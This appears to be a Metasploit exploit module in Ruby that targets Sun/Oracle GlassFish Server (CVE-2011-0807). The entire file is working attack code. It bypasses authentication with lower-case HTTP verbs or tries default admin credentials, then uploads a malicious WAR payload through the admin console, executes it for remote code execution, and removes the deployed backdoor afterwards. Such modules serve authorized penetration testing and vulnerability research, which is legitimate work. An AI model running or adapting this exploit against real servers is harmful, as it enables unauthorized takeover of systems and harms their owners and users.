##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'nokogiri'
require 'metasploit/framework/login_scanner/glassfish'
require 'metasploit/framework/credential_collection'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Auxiliary::Report

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Sun/Oracle GlassFish Server Authenticated Code Execution",
      'Description'    => %q{
          This module logs in to a GlassFish Server (Open Source or Commercial) using various
        methods (such as authentication bypass, default credentials, or user-supplied login),
        and deploys a malicious war file in order to get remote code execution. It has been
        tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x. Newer
        GlassFish versions do not allow remote access (Secure Admin) by default, but is required
        for exploitation.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'juan vazquez', # Msf module for Glassfish 3.0
          'Joshua Abraham <jabra[at]rapid7.com>', # Glassfish 3.1, 2.x & Sun Java System Application Server 9.1
          'sinn3r' # Rewrite for everything
        ],
      'References'     =>
        [
          ['CVE', '2011-0807'],
          ['OSVDB', '71948']
        ],
      'Platform'       => ['win', 'linux', 'java'],
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'Java Universal',    { 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ],
          [ 'Windows Universal', { 'Arch' => ARCH_X86,  'Platform' => 'win' } ],
          [ 'Linux Universal',   { 'Arch' => ARCH_X86,  'Platform' => 'linux' } ]
        ],
      'DisclosureDate' => "Aug 4 2011",
      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(4848),
          OptString.new('APP_RPORT',[ true,  'The Application interface port', '8080']),
          OptString.new('USERNAME', [ true, 'The username to authenticate as','admin' ]),
          OptString.new('PASSWORD', [ true, 'The password for the specified username','' ]),
          OptString.new('TARGETURI', [ true,  "The URI path of the GlassFish Server", '/']),
          OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false])
        ])
  end

  #
  # Send GET or POST request, and return the response
  #
  def send_glassfish_request(path, method, session='', data=nil, ctype=nil)
    headers = {}
    headers['Cookie'] = "JSESSIONID=#{session}" unless session.blank?
    headers['Content-Type'] = ctype if ctype
    headers['Connection'] = 'keep-alive'
    headers['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
    headers['Accept-Language'] = 'en-US,en;q=0.5'
    headers['Accept-Encoding'] = 'gzip, deflate, br'

    res = send_request_raw({
      'uri'     => path,
      'method'  => method,
      'data'    => data,
      'headers' => headers,
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end

    res
  end

  #
  # Return target
  #
  def auto_target(session, res, version)
    print_status("Attempting to automatically select a target...")

    res = query_serverinfo(session, version)
    return nil unless res
    return nil unless res.body

    plat = detect_platform(res.body)
    arch = detect_arch(res.body)

    # No arch or platform found?
    return nil if !arch || !plat

    # see if we have a match
    targets.each do |t|
      return t if (t['Platform'] == plat) && (t['Arch'] == arch)
    end

    # no matching target found
    nil
  end

  #
  # Return platform (win, linux, or osx)
  #
  def detect_platform(body)
    body.each_line do |ln|
      ln.chomp!
      case ln
      when /os\.name = (.*)/
        os = $1
        case os
        when /Windows/
          return 'win'
        when /Linux/
          return 'linux'
        when /Mac OS X/
          return 'osx'
        end
      end
    end

    return 'java'
  end

  #
  # Return ARCH
  #
  def detect_arch(body)
    body.each_line do |ln|
      ln.chomp!
      case ln
      when /os\.arch = (.*)/
        ar = $1
        case ar
        when 'x86', 'i386', 'i686'
          return ARCH_X86
        when 'x86_64', 'amd64'
          return ARCH_X64
        end
      end
    end
  end

  #
  # Return server information
  #
  def query_serverinfo(session,version)
    res = ''

    if version == '2.x' || version == '9.x'
      path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report"
      res = send_glassfish_request(path, @verbs['GET'], session)
    else
      path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report"
      res = send_glassfish_request(path, @verbs['GET'], session)

      if !res || res.code != 200 || res.body.to_s !~ /Operating System Information/
        path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server"
        res = send_glassfish_request(path, @verbs['GET'], session)
      end
    end

    if !res || res.code != 200
      print_error("Failed: Error requesting #{path}")
      return nil
    end

    res
  end

  #
  # Return viewstate and entry before deleting a GlassFish application
  #
  def get_delete_info(session, version, app='')
    if version == '2.x' || version == '9.x'
      path = '/applications/webApplications.jsf'
      res = send_glassfish_request(path, @verbs['GET'], session)

      if !res || res.code != 200
        print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
        return nil
      end

      input_id = "javax.faces.ViewState"
      p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/
      viewstate = res.body.scan(p)[0][0]

      entry = nil
      p = /<a id="(.*)col1:link" href="\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/
      results = res.body.scan(p)

      results.each do |hit|
        if hit[1] =~ /^#{app}/
          entry = hit[0]
          entry << "col0:select"
        end
      end

    else
      path = '/common/applications/applications.jsf?bare=true'
      res = send_glassfish_request(path, @verbs['GET'], session)

      if !res || res.code != 200
        print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
        return nil
      end

      viewstate = get_viewstate(res.body)

      entry = nil
      p = /<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/
      results = res.body.scan(p)

      results.each do |hit|
        if hit[1] =~ /^#{app}/
          entry = hit[0]
          entry << "col0:select"
        end
      end
    end

    if !viewstate
      print_error("Failed: Error getting ViewState")
      return nil
    elsif !entry
      print_error("Failed: Error getting the entry to delete")
    end

    return viewstate, entry
  end

  #
  # Send an "undeploy" request to Glassfish and remove our backdoor
  #
  def undeploy(viewstate, session, entry)
    #Send undeployment request
    data  = [
    "propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=",
    "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false",
    "&#{Rex::Text.uri_encode(entry)}=true",
    "&propertyForm%3AhelpKey=ref-applications.html",
    "&propertyForm_hidden=propertyForm_hidden",
    "&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}",
    "&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
    "&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
    "&javax.faces.partial.execute=%40all",
    "&javax.faces.partial.render=%40all",
    "&bare=true",
    "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
    "&javax.faces.partial.ajax=true"
    ].join()

    path  = '/common/applications/applications.jsf'
    ctype = 'application/x-www-form-urlencoded'

    res   = send_glassfish_request(path, @verbs['POST'], session, data, ctype)
    if !res
      print_error("Undeployment failed on #{path} - No Response")
    else
      if res.code < 200 || res.code >= 300
        print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}")
      end
    end
  end

  def report_glassfish_version(banner)
    report_note(
      host: rhost,
      type: 'glassfish.banner',
      data: banner,
      update: :unique_data
    )
  end

  #
  # Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and
  # banner (ex: Sun Java System Application Server 9.x)
  #
  def get_version(res)
    # Extract banner from response
    banner = res.headers['Server']

    # Default value for edition and glassfish version
    edition = 'Commercial'
    version = 'Unknown'

    # Set edition (Open Source or Commercial)
    p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/
    edition = 'Open Source' if banner =~ p

    # Set version.  Some GlassFish servers return banner "GlassFish v3".
    if banner =~ /(GlassFish Server|Open Source Edition) {1,}(\d\.\d)/
      version = $2
    elsif banner =~ /GlassFish v(\d)/ && version == 'Unknown'
      version = $1
    elsif banner =~ /Sun GlassFish Enterprise Server v2/ && version == 'Unknown'
      version = '2.x'
    elsif banner =~ /Sun Java System Application Server 9/ && version == 'Unknown'
      version = '9.x'
    end

    if version == nil || version == 'Unknown'
      print_status("Unsupported version: #{banner}")
    end

    report_glassfish_version(banner)

    return edition, version, banner
  end

  #
  # Return the formatted version of the POST data
  #
  def format_2_x_war(boundary,name,value=nil, war=nil)
    data = ''

    data << boundary
    data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; "
    data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
    data << war
    data << "\r\n"

    return data
  end

  #
  # Return the formatted version of the POST data
  #
  def format(boundary,name,value=nil, war=nil)
    data = ''

    if war
      data << boundary
      data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; "
      data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
      data << war
      data << "\r\n"
    else
      data << boundary
      data << "\r\nContent-Disposition: form-data; name=\"#{name}\""
      data << "\r\n\r\n"
      data << "#{value}\r\n"
    end

    return data
  end

  #
  # Return POST data and data length, based on GlassFish edition
  #
  def get_upload_data(opts = {})
    boundary = opts[:boundary]
    version = opts[:version]
    war = opts[:war]
    app_base = opts[:app_base]
    typefield = opts[:typefield]
    status_checkbox = opts[:status_checkbox]
    start = opts[:start]
    viewstate = opts[:viewstate]

    data = ''

    if version == '3.0'

      uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
      uploadparam_data = "form:sheet1:section1:prop1:fileupload"

      boundary = "--#{boundary}"

      data = [
        format(boundary, app_base, nil, war),
        format(boundary, uploadParam_name, uploadparam_data),
        format(boundary, "form:sheet1:section1:prop1:extension", ".war"),
        format(boundary, "form:sheet1:section1:prop1:action", "client"),
        format(boundary, typefield, "war"),
        format(boundary, "form:war:psection:cxp:ctx", app_base),
        format(boundary, "form:war:psection:nameProp:appName", app_base),
        format(boundary, "form:war:psection:vsProp:vs", ""),
        format(boundary, status_checkbox, "true"),
        format(boundary, "form:war:psection:librariesProp:library", ""),
        format(boundary, "form:war:psection:descriptionProp:description", ""),
        format(boundary, "form_hidden", "form_hidden"),
        format(boundary, "javax.faces.ViewState", viewstate),
        "#{boundary}--"
      ].join()
    elsif version == '2.x' || version == '9.x'

      uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
      uploadParam_data = "form:title:sheet1:section1:prop1:fileupload"

      focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
      focusElementId_data = 'form:title:topButtons:uploadButton'

      boundary = "-----------------------------#{boundary}"

      data = [
        format_2_x_war(boundary, app_base, nil, war),
        format(boundary, "form:title:sheet1:section1:type:appType", "webApp"),
        format(boundary, "uploadRdBtn", "client"),
        format(boundary, uploadParam_name, uploadParam_data),
        format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"),
        format(boundary, "form:title:ps:psec:nameProp:appName", app_base),
        format(boundary, "form:title:ps:psec:cxp:ctx", app_base),
        format(boundary, "form:title:ps:psec:vsp:vs", ""),
        format(boundary, status_checkbox, "true"),
        format(boundary, "form:title:ps:psec:librariesProp:library", ""),
        format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""),
        format(boundary, "form:title:ps:psec:registryProp:registryType", ""),
        format(boundary, "form:title:ps:psec:descriptionProp:description", ""),
        format(boundary, "form:helpKey", "uploaddev.html"),
        format(boundary, "form_hidden", "form_hidden"),
        format(boundary, "javax.faces.ViewState", viewstate),
        format(boundary, focusElementId_name, focusElementId_data),
        "#{boundary}--"
      ].join()
    else

      boundary = "-----------------------------#{boundary}"

      #Setup dynamic arguments
      num1 = start.to_i
      num2 = num1 + 14
      num3 = num2 + 2
      num4 = num3 + 2
      num5 = num4 + 2
      num6 = num5 + 2
      num7 = num6 + 1

      id0 = num4
      id1 = num4 + 1
      id2 = num4 + 2
      id3 = num4 + 3
      id4 = num4 + 4
      id5 = num4 + 5
      id6 = num4 + 6
      id7 = num4 + 7
      id8 = num4 + 8
      id9 = num4 + 9

      uploadParam_name  = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
      uploadParam_value = "form:sheet1:section1:prop1:fileupload"

      focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
      focusElementId_data = "form:title2:bottomButtons:uploadButton"

      data = [
        format(boundary,"uploadRdBtn","client"),
        ## web service
        format(boundary, app_base, nil, war),
        ## sheet1
        format(boundary, uploadParam_name, uploadParam_value),
        format(boundary,"form:sheet1:section1:prop1:extension",".war"),
        format(boundary,"form:sheet1:section1:prop1:action","client"),
        format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"),
        format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"),
        format(boundary,"form:appClient:psection:descriptionProp:description"),
        ## war
        format(boundary,"form:war:psection:cxp:ctx","#{app_base}"),
        format(boundary,"form:war:psection:nameProp:appName","#{app_base}"),
        format(boundary,"form:war:psection:vsProp:vs"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"),
        format(boundary,"form:other:psection:descriptionProp:description", ""),
        format(boundary,"form:other:psection:librariesProp:library", ""),
        format(boundary,"form:other:psection:deploymentOrder:deploymentOrder", ""),
        format(boundary,"form:other:psection:implicitCdi:implicitCdi", "true"),
        format(boundary,"form:other:psection:enableProp:sun_checkbox44","true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox42","true"),
        format(boundary,"form:other:psection:vsProp:vs",""),
        format(boundary,"form:rar:psection:implicitCdi:implicitCdi","true"),
        format(boundary,"form:rar:psection:deploymentOrder:deploymentOrder",""),
        format(boundary,"form:rar:psection:enableProp:sun_checkbox40","true"),
        format(boundary,"form:other:psection:nameProp:appName", app_base),
        format(boundary,"form:rar:psection:nameProp:appName", app_base),
        format(boundary,"form:jar:psection:nameProp:appName", app_base),
        format(boundary,"form:ear:psection:nameProp:appName", app_base),
        format(boundary,"form:ear:psection:descriptionProp:description",""),
        format(boundary,"form:jar:psection:deploymentOrder:deploymentOrder", ""),
        format(boundary,"form:jar:psection:implicitCdi:implicitCdi","true"),
        format(boundary,"form:ear:psection:jw:jwc","true"),
        format(boundary,"form:ear:psection:vsProp:vs",""),
        format(boundary,"form:appClient:psection:deploymentOrder:deploymentOrder",""),
        format(boundary,"form:jar:psection:enableProp:sun_checkbox38","true"),
        format(boundary,"form:jar:psection:descriptionProp:description", ""),
        format(boundary,"form:ear:psection:implicitCdi:implicitCdi","true"),
        format(boundary,"form:appClient:psection:implicitCdi:implicitCdi","true"),
        format(boundary,"form:ear:psection:enableProp:sun_checkbox36","true"),
        format(boundary,"form:war:psection:deploymentOrder:deploymentOrder",""),
        format(boundary,"form:jar:psection:librariesProp:library",""),
        format(boundary,"form:appClient:psection:jw:jwt","true"),
        format(boundary,"form:ear:psection:librariesProp:library", ""),
        format(boundary,"form:sheet1:sun_propertySheetSection23:type:appType","war"),
        format(boundary,"form:ear:psection:deploymentOrder:deploymentOrder",""),
        format(boundary,"form:rar:psection:descriptionProp:description",""),
        format(boundary,"form:war:psection:implicitCdi:implicitCdi","true"),
        format(boundary,"form:war:psection:librariesProp:library"),
        format(boundary,"form:war:psection:descriptionProp:description"),
        format(boundary,"form_hidden","form_hidden"),
        format(boundary,"javax.faces.ViewState","#{viewstate}"),
        format(boundary, focusElementId_name, focusElementId_data)
      ].join()

      item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list"
      item_list_data = "|server|com.sun.webui.jsf.separator|"

      item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value"
      item_value_data = "server"

      data << format(boundary, item_list_name, item_list_data)
      data << format(boundary, item_value_name, item_value_data)
      data << "#{boundary}--"
      data << "\r\n\r\n"

    end

    return data
  end

  def get_viewstate(body)
      noko = Nokogiri::HTML(body)
      inputs = noko.search('input')
      hidden_inputs = []
      inputs.each {|e| hidden_inputs << e if e.attributes['type'].text == 'hidden'}
      hidden_inputs.each do |e|
        if e.attributes['name'].text == 'javax.faces.ViewState'
          return e.attributes['value'].text
        end
      end

      ''
  end

  #
  # Upload our payload, and execute it.  This function will also try to automatically
  # clean up after itself.
  #
  def upload_exec(opts = {})
    session = opts[:session]
    app_base = opts[:app_base]
    jsp_name = opts[:jsp_name]
    war = opts[:war]
    edition = opts[:edition]
    version = opts[:version]

    if version == '2.x' || version == '9.x'
      path = "/applications/upload.jsf?appType=webApp"
      res = send_glassfish_request(path, @verbs['GET'], session)

      # Obtain some properties
      p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi
      viewstate       = get_viewstate(res.body)
      status_checkbox = res.body.scan(p2)[0][0]
      boundary        = rand_text_alphanumeric(28)
    else
      path = "/common/applications/uploadFrame.jsf"
      res = send_glassfish_request(path, @verbs['GET'], session)

      # Obtain some properties
      res.body =~ /propertySheetSection(\d{3})/
      start = $1
      p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/
      p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/

      rnd_text = rand_text_alphanumeric(29)

      viewstate       = get_viewstate(res.body)
      typefield       = res.body.scan(p2)[0][0]
      status_checkbox = res.body.scan(p3)[0][0]
      boundary        = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text
    end

    # Get upload data
    if version == '3.0'
      ctype = "multipart/form-data; boundary=#{boundary}"
    elsif version == '2.x' || version == '9.x'
      ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
      typefield = ''
      start = ''
    else
      ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
    end

    post_data = get_upload_data({
      :boundary => boundary,
      :version => version,
      :war => war,
      :app_base => app_base,
      :typefield => typefield,
      :status_checkbox => status_checkbox,
      :start => start,
      :viewstate => viewstate
    })

    # Upload our payload
    if version == '2.x' || version == '9.x'
      path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20'
    else
      path  = '/common/applications/uploadFrame.jsf?'
      path << 'form:title:topButtons:uploadButton=Processing...'
      path << '&bare=false'
    end

    res = send_glassfish_request(path, @verbs['POST'], session, post_data, ctype)

    # Print upload result
    if res && res.code == 302
      print_good("Successfully Uploaded")
    else
      print_error("Error uploading #{res.code}")
      return
    end

    #Execute our payload using the application interface (no need to use auth bypass technique)
    jsp_path = normalize_uri(target_uri.path, app_base, "#{jsp_name}.jsp")
    nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'],
      {
        'Msf'        => framework,
        'MsfExploit' => self,
      }
    )

    print_status("Executing #{jsp_path}...")
    req = nclient.request_raw({
      'uri'     => jsp_path,
      'method'  => 'GET',
    })

    if req
      res = nclient.send_recv(req, 90)
    else
      print_status("Error: #{rhost} did not respond on #{app_rport}.")
    end

    # Sleep for a bit before cleanup
    select(nil, nil, nil, 5)

    # Start undeploying
    print_status("Getting information to undeploy...")
    viewstate, entry = get_delete_info(session, version, app_base)
    if !viewstate
      fail_with(Failure::Unknown, "Unable to get viewstate")
    elsif (not entry)
      fail_with(Failure::Unknown, "Unable to get entry")
    end

    print_status("Undeploying #{app_base}...")
    undeploy(viewstate, session, entry)

    print_status("Undeployment complete.")
  end

  def init_loginscanner
    @cred_collection = Metasploit::Framework::CredentialCollection.new

    @scanner = Metasploit::Framework::LoginScanner::Glassfish.new(
      configure_http_login_scanner(
        cred_details: @cred_collection,
        connection_timeout: 5,
        http_username: datastore['HttpUsername'],
        http_password: datastore['HttpPassword']
      )
    )
  end

  def report_auth_bypass(version)
    report_vuln(
      name: 'GlassFish HTTP Method Authentication Bypass',
      info: "The remote service has a vulnerable version of GlassFish (#{version}) that allows the " \
            'attacker to bypass authentication by sending an HTTP verb in lower-case.',
      host: rhost,
      port: rport,
      proto: 'tcp',
      refs: self.references
    )
  end

  def try_glassfish_auth_bypass(version)
    sid = nil

    if version == '2.x' || version == '9.x'
      print_status("Trying auth bypass...")
      res = send_glassfish_request('/applications/upload.jsf', 'get')
      title = '<title>Deploy Enterprise Applications/Modules</title>'
      if res && res.code.to_i == 200 && res.body.include?(title)
        sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); */).flatten.first
      end
    else
      # 3.0
      print_status("Trying auth bypass...")
      res = send_glassfish_request('/common/applications/uploadFrame.jsf', 'get')
      title = '<title>Deploy Applications or Modules'
      if res && res.code.to_i == 200 && res.body.include?(title)
        sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); */).flatten.first
      end
    end

    report_auth_bypass(version) if sid

    sid
  end

  def my_target_host
    "http://#{rhost.to_s}:#{rport.to_s}#{normalize_uri(target_uri.path)}"
  end


  def service_details
    super.merge({ post_reference_name: self.refname })
  end

  def try_normal_login(version)
    init_loginscanner

    case version
    when /2\.x|9\.x/
      @cred_collection.prepend_cred(
        Metasploit::Framework::Credential.new(
        public: 'admin',
        private: 'adminadmin',
        private_type: :password
      ))
    when /^3\./
      @cred_collection.prepend_cred(
        Metasploit::Framework::Credential.new(
        public: 'admin',
        private: '',
        private_type: :password
      ))
    end

    @cred_collection.prepend_cred(
      Metasploit::Framework::Credential.new(
      public: datastore['USERNAME'],
      private: datastore['PASSWORD'],
      private_type: :password
    ))

    @scanner.send_request({'uri'=>normalize_uri(target_uri.path)})
    @scanner.version = version
    @cred_collection.each do |raw|
      cred = raw.to_credential
      print_status("Trying to login as #{cred.public}:#{cred.private}")
      result = @scanner.attempt_login(cred)
      if result.status == Metasploit::Model::Login::Status::SUCCESSFUL
        store_valid_credential(user: cred.public, private: cred.private) # changes service_name to http || https
        return @scanner.jsession
      end
    end

    nil
  end

  def attempt_login(version)
    sid = nil

    if version =~ /3\.0|2\.x|9\.x/
      sid = try_glassfish_auth_bypass(version)
      return sid if sid
    end

    try_normal_login(version)
  end

  def make_war(selected_target)
    p = exploit_regenerate_payload(selected_target.platform, selected_target.arch)

    jsp_name = rand_text_alphanumeric(4+rand(32-4))
    app_base = rand_text_alphanumeric(4+rand(32-4))

    war = p.encoded_war({
      :app_name    => app_base,
      :jsp_name    => jsp_name,
      :arch        => selected_target.arch,
      :platform    => selected_target.platform
    }).to_s

    return app_base, jsp_name, war
  end

  def exploit
    # Invoke index to gather some info
    res = send_glassfish_request('/common/index.jsf', 'GET')

    if res.code == 302
      res = send_glassfish_request('/login.jsf', 'GET')
    end

    # Get GlassFish version
    edition, version, banner = get_version(res)
    print_status("Glassfish edition: #{banner}")

    # Set HTTP verbs. Lower-case is used to bypass auth on v3.0
    @verbs = {
      'GET'  => (version == '3.0' || version == '2.x' || version == '9.x') ? 'get' : 'GET',
      'POST' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'post' : 'POST',
    }

    sid = attempt_login(version)

    unless sid
      fail_with(Failure::NoAccess, "#{my_target_host()} - GlassFish - Failed to authenticate")
    end

    selected_target = target.name =~ /Automatic/ ? auto_target(sid, res, version) : target
    fail_with(Failure::NoTarget, "Unable to automatically select a target") unless selected_target

    app_base, jsp_name, war = make_war(selected_target)
    print_status("Uploading payload...")
    res = upload_exec({
      :session => sid,
      :app_base => app_base,
      :jsp_name => jsp_name,
      :war => war,
      :edition => edition,
      :version => version
    })
  end
end
